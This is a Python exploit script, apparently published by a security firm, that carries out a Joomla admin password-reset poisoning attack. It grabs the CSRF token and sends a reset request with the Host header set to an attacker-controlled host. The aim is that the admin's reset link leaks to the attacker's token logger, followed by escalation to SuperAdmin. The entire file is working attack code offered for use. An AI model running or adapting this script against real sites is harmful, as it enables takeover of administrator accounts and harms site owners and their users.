#!/usr/bin/python

import requests
import sys
import re
import argparse
import random


def extract_csrf_token(resp):
	match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
	if match is None:
		print("[!] Cannot find CSRF token")
		return None
	return match.group(1)


def parse_options():
	parser = argparse.ArgumentParser(description='Jooma Admin Password Poisoning Exploit')
	parser.add_argument('-u','--url', help='Target joomla url')
	parser.add_argument('-e', '--email', default='Admin\'s email address')
	parser.add_argument('-p', '--poison', default='Poisoning host')
	return parser.parse_args()

def print_header():
	clear = "\x1b[0m"
	colors = [31, 32, 33, 34, 35, 36]

	logo = """                                                                                                                    
Joomla password reset poisoning - Fortbridge @2021
"""
	for line in logo.split("\n"):
		sys.stdout.write("\x1b[1;%dm%s%s\n" % (random.choice(colors), line, clear))
		#time.sleep(0.05)

def main(argv):	
	print_header()
	options = parse_options()
	sess = requests.Session()
	#Burp Suite Testing
	#proxy = {  "http"  : "http://127.0.0.1:8080", "https"  : "http://127.0.0.1:8080" } # 
	#proxy = {}
	print("[+] You've setup the token logger, right?")
	print("[+] Getting the CSRF token")
	resp = sess.get(options.url)#, proxies= proxy)	
	token = extract_csrf_token(resp)
	print("[+] Got CSRF token", token)
	print("[+] Sending poisoned password reset request")
	data = { "jform[email]": options.email,
		token: '1'
	}
	sess.headers["Host"]=options.poison

	#We need to bypass the CookieJar rules from the Session() module when we set the Host header explicitly
	#Shut up, python, I know what I'm doing.
	sess_value = list(sess.cookies.get_dict().values())[0];
	sess_key = list(sess.cookies.get_dict().keys())[0];
	sess.headers["Cookie"]= sess_key +'='+sess_value
	
	resp = sess.post(options.url + '/index.php?option=com_users&task=reset.request&Itemid=104', data=data)#, proxies= proxy )
	if "Your session has expired. Please log in again" in resp.text:
	     print ("[+]Session expired, try again")
	elif 'An email has been sent to your email address' in resp.text:
  	     print('[+] Admin Reset Link poisoned, fingers crossed now!')     
	elif 'You have exceeded the maximum number of password resets allowed. Please try again in one hour' in resp.text:
  	     print('[+] You have exceeded the maximum number of password resets allowed. Please try again in one hour')
	else:
	     print("Some other error occured")
	print("[+] Use exploit cve-2021-xxxx to escalate to SuperAdmin! ")
	#print(resp.text)

if __name__ == "__main__":
    if len(sys.argv) == 7:
      sys.exit(main(sys.argv))
    else:
      print("Usage: python3 "+sys.argv[0]+" -u target_url -e admin_email -p poison_host")
 
